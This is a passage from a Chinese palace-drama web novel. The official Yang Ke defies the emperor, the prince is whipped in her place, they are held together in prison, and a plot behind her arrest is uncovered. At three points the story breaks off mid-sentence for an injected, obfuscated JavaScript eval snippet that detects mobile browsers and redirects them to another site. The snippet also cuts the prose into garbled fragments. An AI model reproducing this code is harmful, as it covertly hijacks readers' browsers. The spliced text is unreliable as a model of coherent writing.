青桃凑近窗纸,急道:“你先别管这些,还是想想三日后如何跟陛下说好话吧。姑娘到底说了什么,陛下竟动了这么大的气?” “他问什么我便答什么,”杨柯靠着砖墙坐下,手指摆玩着袖口跳出的毛线,“谁成想真话他都听不了。” 杜衡闻言长叹:“定是议论了朝政!这个节骨眼上,人人自危,陛下面前更要当心。你去勤政殿前,小云子不是嘱咐要仔细吗?” 听她半是责怪半是心疼的语气,杨柯心里也不好受,声气也软了下来:“起初是忍着的,后来说起韩大人……” “韩大人?”杜衡忽然压低声音,“你若是知道他的下场,哪里会这样顶撞陛下?” “去勤政殿的路上,我亲眼见他被活活打死。”杨柯盯着砖缝里渗出的霉印,声音发闷。 话音落下,杜衡和青桃对视了一眼,都默不作声了。 “杜衡、青桃,”杨柯叹了口气,“韩大人做错了什么?我又做错了什么?皇帝为何始终不承认轻信谗言?若没有这些小人胡乱构陷,韩大人会被打死?我又何至于被关在此处?” 杜衡沉默片刻,而后道:“道理自然没错,可姑娘为何如此执拗?如今满朝皆知,陛下借羲王之手血洗章氏,正是忌讳谏言之时。若有人想除掉姑娘,这不就是现成的由头?” 青桃抽了抽鼻子:“姑娘一心争个公道,可也要想想我们,想想老爷和夫人,还有殿下、郡主、云公子他们!”她越说越急,“殿下今晨才将将回宫,一听您被押进掖庭,硬是直接往勤政殿闯,在里头跪了整整一个时辰!郡主和孔阳公主也去求了情,结果陛下现在气得谁也不见了。” 65.质问 想起宇文泰,杨柯泛起一阵心酸。他新伤未愈,又要为自己奔波思虑。若真见到她了,怕是又要暴跳如雷,气得伤口作痛。 可是乐白和孔阳怎么也卷了进来?她急道:“你们回去后,务必拦住乐白和昌吉,不要让他们再掺和此事!” 青桃道:“哪里拦得住?你若无事,他们自然也就安心了。” “若我昧着良心说假话,那与害死韩大人的那些人有什么区别?” 杜衡又是一声长叹:“姑娘再好好想想吧,我们自然不希望看您遭难,若您坚持己见……”她没再说下去,只听得布料窸窣声,“吃食和衣裳我们稍后便托小骏子送过来,您自己照顾好自己啊。” 送走了她们,杨柯的心里开始不平静了。难道自己的选择真的有错吗?可是,如果人人都避重就轻,皇帝会变得如何?大夏会如何? 过了半日,一个年轻公公跑了过来,敲了敲门。 杨柯问道:“是小骏子么?” “诶,杨大人,正是奴才。”门外的公公轻声回应。 许是青桃她们送的东西到了,杨柯接着道:“是不是东西送来了?” 公公为难道:“正要跟您说这事。上回青桃姐姐和杜衡姐姐来过,陛下便下了严令,不准任何人进出掖庭,还派了禁军严守。东西……实在送不进来了。” 姜还是老的辣。杨柯拢了拢薄被:“无妨,屋里有暖被,冻不着。” 小骏子顿了顿:“您多保重。”说罢,脚步声渐远。 “没吃的如何?没暖被又如何?还能将我饿死、冻死不成!”杨柯蜷回床上,将自己裹成一团,可此时脑袋已经开始昏昏沉沉,像灌了铅一般,昏沉间又陷入半梦半醒。 终于熬到第三日,门外走来几个高大人影,一看便知是皇帝派来的侍卫,接着是锁簧轻响——“杨柯,随我们去勤政殿。” 一阵冷风吹过,刺骨凉意钻进衣袖,反倒将杨柯从昏沉困意中唤醒。又来到了勤政殿,杨柯打眼一看,这回还挺热闹。 皇帝照旧坐于中央的紫檀木椅上,身侧站着公孙,公孙一脸无奈又担忧地瞧着她,杨柯对其回以微笑。左右首分列着两批人,宇文泰立于左首,脸色苍白,神情更不好看,杨柯并不敢与他对视。魏长明站在他身侧,还有一长髯公夹在中间,想必是新晋的兵部尚书。右首立着伯喻,伯喻身旁站着老熟人郑仪和张意初。 “参见陛下、二位殿下、各位大人。”杨柯一齐罗圈作了个揖,刚一微屈膝盖,眼前便骤然发黑,所幸直起腿来时又恢复如初。她心里暗自祈祷着:身子啊身子,求求你了,可别在这时候出什么岔子。 皇帝捻动佛珠,语气和缓地开口:“朕罚你闭门思过三日,你是个聪明人,想必也悟出了些道理。”他抬手示意两侧朝臣,手里佛珠叮当作响,“今日朕让他们也留下来听听,你在掖庭里有什么新鲜感悟?” 杨柯垂眸道:“回禀陛下,这三日以来,臣倒是有诸多关于治国安邦的思索和浅见,满心希望能与陛下共议,以求精进。” 皇帝脸上果然露出欣慰:“你讲。” “其一,”她抬眼直视御座,“若宫中开支用度皆按掖庭标准——每日一餐窝头,冬季三月一换炭火,据臣粗略估算,每年可省五百万两白银。如此,困扰陛下的国库空虚之难顷刻便能化解,”杨柯笑看向郑仪,“哪里还用得着郑大人去追着六部讨回欠款?” 殿内一时间静得落针可闻,郑仪偏过脸去,张意初倒是轻笑出声。 杨柯又继续道:“其二,若有臣工不服,不妨送进掖庭思过三日。所谓忆苦思甜,只有尝过了节俭的滋味,方能明白陛下用心良苦,从而珍惜宫中的生活。” 话毕,众人皆好似神色如常,只有皇帝紧皱眉头:“这就是你所谓的‘治国之道’?” 杨柯恭敬颔首道:“是。” 魏长明笑出了声,看着对面脸色难看的郑仪道:“陛下,杨姑娘所言虽然荒谬,不过个中道理倒是值得郑大人好好听听。” 郑仪不得不跟着打圆场:“魏大人讲的有理。节省开支倒确实是个不错的法子。” 公孙轻咳一声:“陛下,杨柯进入尚书局才不久,能力上确实有欠缺,但其用心是好的。” “用心?”皇帝冷笑一声,“她随口胡诹的话,你们竟也当真?” 杨柯迎上皇帝森冷目光,笑问道:“陛下既然知道我是随口胡诌,又为何在三日前将我的话当作罪证?” 殿内空气骤然凝固。 “好个利嘴!”皇帝拍案而起,珠串剧烈晃动,“你当真以为,朕不敢治你大不敬之罪?” 伯喻忽然跨前一步:“父皇息怒!杨姑娘从未参与过朝政,过去种种言论不过是童言稚语,父皇何必放在心上?” “童言稚语?”皇帝斜睨他一眼,语气陡然转冷,“她可是非常清楚大夏从何而来,又因何而败。” 此话一出,满座皆是色变。 宇文泰眉峰骤拧,忽而又笑道:“父皇过誉了。她连军报格式都看不懂,哪里懂得什么国运兴衰?不过读了几本野史传说,胡言乱语罢了。” 皇帝虽是对着宇文泰说,但目光始终钉在杨柯身上:“你以为她不会,朕倒是觉得她清楚得很。连韩云逍的卦象她都明白,她还有什么不懂的?” 杨柯顺势插言:“陛下既然清楚,又为何不承认自己误杀了忠臣良将?” 皇帝脸色霎时铁青,指节捏得发白。 张意初见状站了出来,面上笑容和煦:“陛下,臣瞧着杨姑娘这率性劲儿,倒叫人想起孔阳公主幼时。那时公主常围绕在陛下膝侧,偶尔冒出两句‘大逆不道’的话,陛下却当作笑话一笑置之。如今公主出嫁离宫,这般拌嘴的热闹倒是许久未见了。”他话语说完,殿内紧张气氛隐隐松快了几分。 魏长明立即接话:“正是!孔阳前几日还同臣说,这杨柯杨姑娘颇有几分她当年的风范,想着若是杨姑娘在宫中,父皇也能少些寂寞。” 公孙也几步上前,不急不缓道:“陛下,当初尚书局议选杨柯时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15603062|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 引发了些分歧。恰逢公主殿下路过,驻足旁听。公主听完后,对杨柯之才大为赞赏。微臣斗胆揣测,公主许是想起了陛下教导的‘弃恶取善’,这才起了惜才之心。” 听到他们提起孔阳,皇帝的脸色缓和了下来:“孔阳离了宫有七年了。” “陛下不必忧愁,这几日孔阳得了空,便会来看望父皇。”魏长明的视线转向杨柯,“杨姑娘,我想你也同孔阳一般,待父皇如自己的父亲,才会如此直言不讳吧?” “陛下和公主的舐犊之情着实让人感动,”杨柯声线放软,忽而又语锋一转,“只可惜父爱终究有限。杨柯不才,只知道‘善为国者,驭民如父母爱子’,若陛下是明君,那大夏子民没有不视陛下为君父的,可若君父视子民如蝼蚁,那子民为何要将这样的人当作父亲?” “岂有此理!”皇帝拍案震得玉镇纸跳起,“朕看你是关了三日还没醒悟,越发嚣张了!” 接着郑仪便冲她喝道:“还不跪下!” 杨柯扭头直视着他:“我既无错,为何要跪?” 郑仪朝侍卫使了个眼色,侍卫大步迈上前,一脚踹上她膝弯。 杨柯顿时重重跪倒在地,一阵眩晕袭来,她使劲睁大双眼,但眼前仿佛有团黑雾一般,怎么都散不开。 “父皇!”宇文泰迅速跨步上前,单膝跪地,拱手相求,“她年纪尚小,不懂什么朝政之事,还请父皇允许儿臣把她带回宫中严加管教,莫要再冲撞了父皇。” 郑仪在一旁调侃道:“羲王连着三日为这女官跑来勤政殿说情,现在又为她辩解,上心到如此地步,不像是伴读,倒像是情人了。” 皇帝荡了郑仪一眼,质问道:“泰儿,你心疼她?” 杨柯扯住宇文泰的胳膊,抢先道:“羲王殿下只是怕我胡言乱语,波及武华殿罢了。” 皇帝的视线重又回到了她身上:“你也知道自己在胡言乱语?” 杨柯仰起脸,嘴角上扬:“楚狂接舆也曾在孔子面前胡言乱语,世人皆道其狂,可孔子却下车与之言论。陛下可知,为何圣贤从不轻贱‘狂言’?” “住口!”皇帝伸手怒指杨柯,额上青筋几欲崩裂,“好啊,你当朕心慈手软?朕倒要看看,是你的嘴硬,还是朕的九节鞭硬!” “臣领命!”杨柯用力撑起身子,可头偏偏疼得像要裂开一般,有什么温热的东西正顺着鼻间滑落。她死死盯着御座上暴怒的皇帝,眼前忽然绽开无数金芒,耳畔轰然一声,整个人直直地栽倒过去。 “阿柯!”两道身影同时扑来,宇文泰的手掌先一步扣住她腰际,伯喻指尖刚触到杨柯发梢,却被宇文泰横臂拦下。 “七弟退后。”宇文泰眼神直逼对方,胸前衣衫已被杨柯鼻中流出的血染红,“她是武华殿的女官,一应罪责,当由我羲王担下。” 皇帝森然目光在他三人间流转,忽而冷笑道:“泰儿,你所言当真?” 宇文泰眼中坚定:“儿臣字字真心。” “好!一百道鞭刑,你来替她受!” 66.陪伴 杨柯睁开眼,眼前是道道铁锁,身下是层层荒草。黑暗里,一声轻咳响起,混杂着血腥味和潮湿的霉味涌进鼻子。摸黑探去,触到身侧有一人,鼻尖又嗅到熟悉的龙涎香,她惊诧道:“宇文泰?你怎么也在这儿?” “很奇怪吗?”他施施然道,“若我不在,你很难平安离开。” 杨柯这才回过神来,适才在殿内,皇帝已被自己惹得怒极,她被关进大牢也在意料之中,但此刻,身上却没有任何受刑后的痛楚,她抬眼问道:“方才在殿内发生了什么?” 宇文泰目光掠过她苍白的脸,缓声道:“父皇要把你关进来,我不放心,便求他将我一同关押。” 终究还是连累了他,杨柯垂眸轻叹:“难为你了,被我牵扯进来,白受这一趟苦。” 宇文泰轻笑一声:“你是我的伴读,被关进大牢,我岂有坐视不管的道理?” “多谢殿下。”但他贵为皇子,哪能这般轻易就被押入大牢。念及此处,杨柯忽然想起宇文泰几日前许下的承诺,犹豫片刻,还是忍不住开口相问:“殿下前些日子说要助我出宫,如今出了这档子事,会不会因此触怒圣上,也跟着陷入麻烦?” 宇文泰垂了垂眸:“这两件事并无关系。那日回宫后,我便向父皇上奏,但他一口回绝,我试着再三说服也没有办法,也不知是什么缘故。按理来说不会如此,以往女使提前出宫也不是没有先例。”见她在一旁不声不响,他语气中带着歉意,“抱歉,我不该给你承诺,让你希望落空。” 杨柯笑道:“殿下何必道歉?能提前出去自然是好,若不能如愿,安心过好剩下的日子就是。”嘴上虽是这么说,但杨柯的心里难免失落,即使有宸妃的毒药控制着,她依然抱着一丝逃脱囚笼的幻想。可这也不是宇文泰能说了算的,她心里不禁又气又疑,那狗皇帝到底在想些什么?不是口口声声说要打死她么,为何又不肯放她走? 宇文泰伸手探她的额头,眉峰拧起:“你有多久没进食了?” 杨柯靠在石墙上,如实回答道:“第一日进勤政殿前吃了些,后来便没再吃。” 他的语气里略带愠怒:“饿了三日,又在掖庭受冻,铁打的身子也扛不住,怪不得会晕过去。” “那儿的东西是给人吃的?”杨柯回想起掖庭里的霉味,一股火冒了出来,“啃一口馒头能拉出半里地的酸水,就怕闹肚子还没地方接手,到时候不仅要挨着寒风,还得憋一肚子屎。” 宇文泰瞪她一眼:“那你还要屁颠屁颠地被关进去?我早让李公公好生跟你嘱咐,最后还是没用。” 杨柯声音发虚:“既然殿下已经知道了结局,又何必阻拦?” 宇文泰忽然调转开脸,咽下叹息,半晌后,才听见他低哑的声音:“若我阻拦,还有把你救回来的可能。” 杨柯刚想开口,一阵穿堂风灌了进来,鼻尖忽嗅到铁锈般的血气,环顾四周,其余的牢房里并未关着什么罪犯,这气味只可能从眼前人身上传来。 一个不详的预感从心里升起。杨柯往前爬了爬,凑近他的身子嗅了嗅,一股浓烈的血腥气扑面而来。 “宇文泰,你是不是……替我受了鞭刑?” 他抿了抿唇,语气装作淡然:“还是被你看穿了。本以为这狱中光线昏暗,还能瞒你一时,却忘了该死的风。” 杨柯急声道:“为何要为我受罪?我闯的祸,就让我去——” “你觉得我忍心看你被打吗?”话音在空荡荡的狱廊里来回激荡,衬得牢房内愈发安静。 杨柯沉默了下来,伸手轻探他身上的伤口,血液触上指尖,温热直达心底,融化了最后一层隔阂。 良久,宇文泰见她垂着头不说话,抬手去探她脸颊,指腹忽然一湿,他心里也跟着一酸。 “对不起,是我拖累了你。”她的语气里带着沉重的鼻音,宇文泰见不得她暗自垂泪,于是故意调侃道:“你掉的这些泪,还不够给我清毒伤口的。” 杨柯忽而破涕为嗔:“你若娶了娥皇女英,她们的眼泪倒是足够,我可哭不了那么久。” 宇文泰轻轻一笑,伸手抚了抚她的头发,问道:“你冷吗?” 还未等她回答,他已将外袍脱下,轻轻披在她肩头。带着体温的锦缎瞬间包裹住杨柯单薄的身子,血腥味混着他身上独有的龙涎香幽幽传来。 宇文泰拉过她的手,杨柯顺势俯身,小心翼翼地避开他的伤口,将头轻轻靠在他心口。 他展开双臂再次拥她更紧,她也回抱过去,试图将暖意传递给他,脆声道:“这样我们都不会冷了。” 宇文泰扬唇轻笑,视线望向窗棂透进的一缕阳光,空中的浮尘在那寸光影中悠悠荡荡。背上的伤口虽隐隐作痛,但心口却被填得满满当当。 他久久地凝望着那三寸光明之处,只希望这些浮尘永远不要坠落,永远在阳光下飘舞。 过了半日,天色全黑,宇文泰紧闭双眼,呼吸沉重,杨柯伸手探了探他的脸,脸颊滚烫,估摸着是伤口发炎,已至发烧。 她开口呼唤狱门前的狱卒,那人本在伏案酣睡,被杨柯惊醒,迷迷瞪瞪地走过来。 “殿下在发烧,快去传太医!” 他揉了揉眼睛:“杨姑娘,奴才没这个本事。” 杨柯急道:“那你告诉狱吏,让他来。” 狱卒搓着手直往后缩:“叫大人来也没法。陛下吩咐了,不准管您二位的闲事。” 杨柯冷声道:“殿下只是暂时被关在这,若他有个三长两短,你担待得起吗?” 他愣住了,喃喃道:“是,是,奴才这就去禀报张大人。”说完,便抬腿往外跑去。 须臾,一行人冲进狱廊。为首太医背着药箱,身后狱吏攥着钥匙,额头沁满冷汗。 “大夫,殿下发烧了!”杨柯赶紧将宇文泰扶起,靠在墙壁上。 太医在宇文泰身旁蹲下,伸手去探他的脉。硬是等了片刻,才慢慢道:“气短乏力,体内又热气郁结……” 见他一副为难的模样,杨柯没了耐心:“他背后有鞭伤!受刑后未及时换药,必是化脓了!” 太医登时恍然大悟:“那就先将殿下抬去洁净处上药医治啊。” 杨柯无奈地望着他,又转向一旁的狱吏、狱卒,那狱吏苦着脸道:“这……奴才没有陛下旨意,不敢轻易……” 杨柯无奈道:“那抬去个干净地方总可以吧?” 狱吏、狱卒对视一眼,才点头答应。 众人正准备将宇文泰挪去外面,廊外突然传来急促的脚步声。为首侍卫冲进狱室,目光扫过草席上的血迹,大喝道:“你们在做什么?” 那狱吏吓得赶紧连身弓腰,忙道:“大人饶命,大人饶命!” 侍卫拔剑指着狱吏:“殿下身上有伤,你们竟然将殿下丢在这阴湿之地!” 狱吏与太医面面相觑,瞬间惨白了脸,忙不迭去搬木榻:“奴才这就将殿下抬出去!” “且慢。”领头侍卫忽然转身,从怀中掏出一卷明黄诏书,“杨柯听旨:着即免去一应罪责,即日起迁出天牢。” 杨柯惊诧地看着他:“是陛下的旨意?” “不是陛下旨意,我们吃饱了撑的来救你?”侍卫甩袖指挥着身后的太医和狱卒,“还不快将殿下抬出去!” 仅仅半天的功夫,事态便发生了彻底转变。宇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609882|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 文泰被紧急送回了武华殿,太医院首尾相连地涌进寝殿,捣药声与医嘱声此起彼伏。直到戌时初刻,最后一位御医擦着汗退出殿门,杨柯才敢凑近床榻。 宇文泰脸色虽仍苍白,眉峰却舒展了些,总算不像在牢里那般烧得人事不省。 杨柯吩咐完了诸多事宜,正转身出门,便见师父迎面走来。 “阿柯,掖庭的冷馒头好吃么?”李元抚着胡须,脸上仍旧是笑眯眯。 杨柯被他问得不知如何回答,只好垂首低眸。 “你啊,从小到大都是这样,犟得像头驴。”师父摇着头,“从前跟你娘对着干,如今到了宫中,换成了陛下。阿柯,这可不是闹着玩的!” 她辩解道:“这次和小时候已经不同了,我不是为自己,而是为……” 师父率先开了口:“韩大人?” 杨柯思索了一瞬:“是,也不全是。” 李元轻叹一声:“怪我,从前教得太少,如今让你自己踏进泥潭。” 杨柯疑惑道:“师父为何这么说?”忽又想起自己被赦的蹊跷,而师父此刻又恰好出现在宫中,“莫非是您说动了陛下,他才愿意放人?” 老人缓缓颔首:“此事说来复杂。身在高位,许多事并非像你想得那么简单。” 杨柯反问道:“那我应该如何想?难道要眼睁睁看着朝中栋梁被冤杀吗?” 师父并不正面回答,反而道:“我问你,你认为统领天下靠的是什么?” 杨柯脱口而出:“广纳贤才,义薄云天,除暴安良。” 李元低笑摇头:“这是当大侠,不是当皇帝。欲主宰天下,必借人力以驭人,若要驭人,势必区分亲疏与远近。一旦亲疏远近有别,治下难免生出分裂,分裂既生,腐败与专权之弊便随之而来,此乃历代帝王都难以逾越的天堑。” 他望着殿角高悬的宫灯,声音也沧桑起来:“如今,陛下就是在铲除这些盘踞在朝中的枝节,可树根扎得太深了。你看见的是栋梁被砍,却没看见地底下藏着多少虫蛀和腐土。若要全都拔了,扎在土里的根和开在枝上的叶都不答应。” 师父接着深叹道:“可是,这棵大树要想再活百年,有些痛,必须要忍。” 听了师父这一席话,杨柯似乎逐渐明白了什么:“宫家是已经铲掉的老枝,刘家便是章家那束老枝上的腐叶。” 师父看向她的眼中开始有了深意:“是。” 杨柯继续问道:“那下一个又会是谁?” 李元摇摇头:“这个就不得而知了。” “我知道答案,师父也一定知道。” 李元忽然握住杨柯肩头:“柯儿,你听好!这趟浑水,越深越险。这一回,有殿下护着你,有我来替你说情。下一回呢?”他松开手,替她理了理被风吹乱的鬓发,“别再往前凑了。” 杨柯沉默了下来,她明白师父所说一点儿没错,可心中还有一道疑问:“为何韩大人会观测出大凶之象?难道真是天意?” “哪有什么天意。刀刃上的血越多,戾气反噬得越重。”他拧起了眉头,“这也是韩大人被处死的原因。陛下的身体日渐虚弱,越来越难以控制朝中大臣,他能如此轻易地听信谗言,可见他心中早已注满猜忌和戾气。” 杨柯忿忿道:“为何要拿他人当作牺牲品?” “因为他是皇帝!”李元忽然提高声音,“他决定着所有人的生死,包括你我,包括殿下!” 杨柯喉间发酸:“难道没有别的办法了吗?” 李元慨叹道:“有,但不能拿命去搏。”说着,替杨柯拢了拢披风,“柯儿,切记,三寸气在千般用,一旦无常万事休啊。” 67.月明 送走了师父,杨柯才回到观云阁,青桃和杜衡她们早已备好热腾腾的饭菜和香喷喷的浴盆,只等着她回来了。 在她们的注视下吃完了整整两碗饭,杨柯又泡进木盆里洗了个热水澡,按照青桃的话来说,“把浑身的晦气都洗干净。”折腾完毕,已经搓磨到了子时。 躺在床上,杨柯盯着顶上的帐子,明黄色的,像小时候见过的皮影戏幕帘,脑子里反复浮现出这几日的种种,恍如皮影一般漂浮过去:勤政殿外刺目惊心的血,皇帝气急败坏上蹿下跳的囧样,掖庭里传来的凄厉歌声,最后都渐渐模糊起来,唯独拓印在脑海里的,只有大牢里宇文泰身上的温香……她迷迷糊糊地睡去,这一晚竟一宿无梦。 早上醒转过来,用过早膳,杨柯便开始处理这几日累积成山的文书,头又开始疼了。 埋首于白纸黑字不知道多久,再抬首时,太阳又快落山。 今晚又得在武华殿干到四更,杨柯心里惨淡地想。 将所有文书收到书格里,背在身上,往书房的方向走去。 一阵剧烈的咳嗽从房内传了出来,“殿下,您休息会儿吧,再这么撑下去,身子怎么扛得住?” “没事,你把饭菜搁在边上就是。”宇文泰低沉而疲惫的声音响起。 “诶。”小顺子无奈答应,走了出来。 见她过来,小顺子摇头叹气,低声道:“殿下自从昨儿晌午醒转过来,便再也没合眼过,一直在书桌前忙碌,杨姑娘帮奴才劝劝他吧。” 杨柯点点头,掀帘进去。 宇文泰正坐在桌前,一脸苍白,不知道是不是烛火燃了太久,竟照得他脸色发青。小顺子担心他再受寒,给他披了层绒的深灰厚氅。 “殿下,今日的文书已经批阅完。”杨柯将书格里的一沓纸递给了他,他伸手接过,随即又猛咳起来。 “吭吭吭——”杨柯看他这阵仗像快要散架了,于是转头去寻他的茶杯,刚端起便发现早已冰凉,忍不住道:“殿下,再这样下去,恐怕您要比我先出宫了。” “为何?”宇文泰一边咳一边问,旋即便反应过来她话里的意思,即使咳得上气不接下气也不忘瞪她一眼,“我的身体……我说了算。” “是吗?可你这样虐待自己的身体,旁人看了难道不伤心?” 咳嗽停了下来,他放下捂着嘴的丝绸帕子,深吸了口气,终于平静下来:“谁是旁人?” “额……”杨柯被他问住,“宸妃娘娘,陛下,小顺子,还有……” “父皇额娘是我的爹娘,小顺子与我相伴多年,他们自然理解我的做法。”他目光灼灼,紧锁住杨柯,“你为何要管我?” “因为……”杨柯一时噎住,脸上表情也僵硬了起来,这个时候再遮遮掩掩反而显得矫揉造作,于是索性道:“关心你,难道不对吗?” “关心我?”宇文泰眼里亮起了光,“为何关心我?” 杨柯感觉心里有一个野兽快要扑了出去,但随之而来的是深深的恐慌,她只能用话语侥幸将其封锁:“殿下为我受了鞭刑,若我不关心,岂不是狼心狗肺?” 宇文泰眸中亮光也随之暗了下去,视线也挪到了她的位子上:“关心我的最好方法,便是做好你该做的事。” 杨柯无奈,只好乖乖坐回自己的位置。 宇文泰继续伏案提笔,过了半晌的功夫,忽感身侧异样,转头一看,杨柯正一手撑着下颌,一动不动地盯着自己。 他搁下狼毫:“若是太闲,去帮我倒杯热茶。” 对方应了一声,屁颠屁颠地过来端起茶杯,快步跑了出去。他还未写完一行字,人便奔了回来,再一转眼,面前已摆上了热气腾腾的茶。 “嗯,继续忙你的吧。”宇文泰埋首看着奏折,而跟前人却并未作声,他余光留意着黄色衣裙溜出了视线,回到了座位上。 过了一炷香的功夫,宇文泰终于将兵部的折子全部批阅完,抬手揉了揉眉心,端起茶杯正要饮,却瞥见身侧的杨柯仍一动不动,目光直直钉在他脸上。茶汤呛进喉咙,宇文泰猛地咳嗽起来:“咳……咳……” 杨柯立即起身,两步奔了过来:“是不是水太烫了?”一边说着一边帮着拍背。 宇文泰平息呼吸,抬头道:“你今晚吃错药了是不是?” 杨柯却若无其事:“不是殿下说,做我该做的事吗?” 宇文泰将茶杯重重放回案上,眉峰微挑:“公务都忙完了?” 杨柯先是点点头,旋即又慌忙摇头。 宇文泰盯着她不自然的神色,无奈发笑:“到底是做完了,还是没做完?” 杨柯自然都做完了,但若她如实相告,宇文泰定要赶她回去,可她却想留在这里,于是心虚地笑了笑:“忽然想起……还有个文书没写。”说着便随手抓起一张纸,捏起笔便要往写。 “墨都干成这样,你要如何写?” 杨柯抬头一看,只见宇文泰正无语地看着她手里的毛笔,那笔尖已干得比石头还硬。她尴尬地笑了笑,匆匆蘸了蘸墨水:“多谢殿下提醒。” 宇文泰瞥了眼佯装忙碌的身影,唇角不自觉上扬,又继续低头批阅公文。 当身侧的声响彻底安静下来,他才悄悄转头——杨柯已经趴在案上,呼吸轻缓,烛光为她的脸镀上一层柔光,长长的睫毛随着呼吸微微轻颤,让他想起小时候细心呵护的玉兰花苞。 窗外传来打更的梆子声,宇文泰摸了摸茶盏,茶水早已凉透。他轻手轻脚地起身,取来熏笼上的锦被,轻轻地盖在她身上。 杨柯呓语了一声,往他的手蹭了蹭,这毫无防备的姿势让他的手僵硬了一瞬。 宇文泰盯着掌心,看着它逐渐柔软,抚上面前女孩的发丝,像是春藤的卷须轻抚初绽的花瓣,情愫在无人察觉的暗处,顺着指腹爬满心墙。 冷月无声,晨风过处,影绰幽摇。 时间已来到四更,宇文泰走出了书房,缓步迈进偏殿,望着窗外的明月,仿佛在等待着什么。 门前的帷幔被掀起,缓缓走入一男子,遍身黑衣,头戴斗篷。 宇文泰回身上前,脸上绽放出笑容:“石大哥,好久不见。”原来是逍遥居的石介。 石介摘下斗篷,拱手道:“殿下。” 宇文泰问道:“可有查出什么来?” 石介道:“经过这几日的调查,我们已经确定了背后作恶之人。” 宇文泰眉尾一跳:“请讲。” 石介娓娓道来:“杨姑娘的文章本放置于御书院,除了院内的夫子和管事,无人知晓其中内容。但上个月的逸韵诗会上,户部仪制清吏司的周全为了提供赏读的文章,将从前宫中殿试的佳文都拿了出来,其中顺便夹带了一篇杨姑娘的,结果在诗会上被人瞧见。加之杨姑娘在坊间早已闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620447|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名,于是便开始出现议论之声,后来越传越广,到了陛下的耳朵里。” 宇文泰挑眉冷呵:“顺便夹带?周全怎么就带上杨柯的文章,还偏偏让人瞧见了?” 石介继续解释道:“殿下有所不知,三日前,工部的彭永去了周府。” 宇文泰又问道:“他去周府做什么?” 石介道:“这二人在逸韵诗会上相识,颇有来往。不过在杨姑娘的文章引发议论之前,他二人相聚的时间尤其多。” 宇文泰拿起桌上的蒙顶甘露,垂睫飘过杯中的深绿:“这倒也看不出什么来。” 石介道:“这确实是看不出什么来,但自从杨姑娘被召见那日起,周全便不在京城了。” 宇文泰抿了一口茶:“他现在在哪儿?” 石介道:“在城郊的别业里。” 宇文泰疑惑道:“别业?他不过是个掌管科举的七品小官,哪里来的钱购置别业?” 石介笑道:“周全无钱买,但有人赠。我们去钱庄查了这座别业的钱财来源,是一个名叫张根的人,他家中做了些小本生意,又经过细查才知,此人是彭永进易府前在永州当职的副手。” 宇文泰冷笑一声:“这三人都不像是能买得起别业的。” 石介接道:“所以钱从哪儿来,便很清楚了。” 宇文泰的眸中闪过一道寒光:“咱们这位德高望重的易先生,即使身在局外,他的手也能伸进朝堂。费劲心思除我不成,便打起了我身边人的主意。” 石介道:“这些时日,殿下除掉了一派老将,章家势力削减大半,若无易望林出手,恐怕也会有其他人对殿下动刀。” 宇文泰沉默了一瞬,继续问道:“周全在城郊呆着做什么?” “因为他回不来了。” 宇文泰凛声道:“什么意思?” 石介道:“昨夜周全死在了别业内。” 宇文泰略带惊讶道:“死了?” “这还不算什么,更蹊跷的是,周全的尸体上有道蛇印。” 宇文泰眼底划过一丝笑意,他放下手里的蒙顶甘露,凉凉道:“石大哥,看来不止我们着急,影刃阁比我们更着急。”他站起身,负手走到窗边,“都用不着逍遥居出手,七弟就已经帮着我们办完了事。” 石介微笑道:“逍遥居和影刃阁向来冰火不容,倒是因为杨姑娘,头一回出现两家合力的局面。不过想必此事过后,宣王与易家的联盟也就此破裂。” “亏得易望林动用吏部的关系将他新党的一派势力提了上来,”他嗤笑了声,“可没想到栽进了阴沟里。” 石介疑惑道:“众人皆知宣王曾与杨姑娘交好,易望林按理来说不会不知,可他为何要冒这个险?” 宇文泰反问道:“易望林能不明白么?男女之情在他这样的老狐狸眼里,算得了什么。他这么做,不过是试探伯喻罢了。” 石介茫然:“试探什么?” 宇文泰道:“老七是否还像从前那样忠心于易家。说得明白点,他会不会为了心中旧爱乱了阵脚。若伯喻按兵不动,那么他们的关系照旧如常。只不过这一回,易望林低估了杨柯,高估了自己。” 石介道:“宣王的意思已经明了了。” 宇文泰隐约一笑:“是啊。伯喻编的谎言,谁都骗不过,唯独骗过了她。”他转眼望向书房的方向,眼中复杂。 68.新政 “奉天承运,皇帝诏曰:女官杨氏,选躬之初,奉承先命。克娴于礼,靡懈于勤。着晋从三品御侍令。钦此!” 